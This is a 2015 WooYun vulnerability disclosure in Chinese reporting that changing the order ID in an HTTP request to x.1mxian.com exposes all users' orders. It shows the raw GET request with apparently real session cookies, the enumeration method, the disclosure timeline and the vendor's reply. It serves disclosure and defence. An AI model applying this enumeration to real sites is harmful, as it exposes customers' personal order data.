漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2015-0155028
漏洞标题：一米鲜某处订单遍历
相关厂商：1mxian.com
漏洞作者： papaver
提交时间：2015-11-23 11:32
修复时间：2016-01-11 15:32
公开时间：2016-01-11 15:32
漏洞类型：设计缺陷/逻辑错误
危害等级：高
自评Rank：15
漏洞状态：厂商已经确认
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2015-11-23： 细节已通知厂商并且等待厂商处理中
2015-11-27： 厂商已经确认，细节仅向厂商公开
2015-12-07： 细节向核心白帽子及相关领域专家公开
2015-12-17： 细节向普通白帽子公开
2015-12-27： 细节向实习白帽子公开
2016-01-11： 细节向公众公开
简要描述：
修改订单id，可遍历所有用户的订单
详细说明：
GET /orders/detail/7702674 HTTP/1.1
Host: x.1mxian.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Connection: keep-alive
Cookie: Hm_lpvt_40f2e3b2ca386af0d2fdf22bddfbbbd5=1448003647; Hm_lvt_40f2e3b2ca386af0d2fdf22bddfbbbd5=1447814900,1447815975,1447899984,1447993119; address1_id=2352017; address_id=2352017; bonus_id=47052063; c_cart=%7B%7D; c_id=eyJpdiI6Im5OT0ZIOEREZWN4MXUxNkFBbUp6QUE9PSIsInZhbHVlIjoiSzY2UVM1Zlk4Q0I4S2N1MlRYQ0F6UT09IiwibWFjIjoiZjM2ZmE5Y2YxYjZjOGM3NjE5MzFkNGM1ZGFiNzBiZTdmYzVlM2JlZmZjN2E3NGY4YjlkMzBlY2RjYjFlYzhkZCJ9; refer_from=eyJpdiI6Ikh4MVVBcm1BdkpHc1VsZWo1bzVSRlE9PSIsInZhbHVlIjoiRHYrYXFONTNoVU9IZUNtR25wVHlLdz09IiwibWFjIjoiOTZmMTQzYzA2MWFkMWI4YjA0ZTU3MDdhYzZlNjYyMTMxNjA1ZmZjM2Y5YzAyMTc3MDhlODBiOGUxNzhmNTJkMyJ9
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 9_1 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Mobile/13B143 MicroMessenger/6.3.5 NetType/WIFI Language/zh_CN
Accept-Language: zh-cn
Referer: http://x.1mxian.com/orders/unpay
Accept-Encoding: gzip, deflate
修改/orders/detail/7702674 数字 可遍历订单信息
漏洞证明：
修复方案：
校验，校验
版权声明：转载请注明来源 papaver@乌云
漏洞回应
厂商回应：
危害等级：低
漏洞Rank：5
确认时间：2015-11-27 15:05
厂商回复：
业务数据泄露，算是信息安全中的很高级别，乌云的危害等级描述貌似还是看重功能问题小看了信息安全问题。
最新状态：
暂无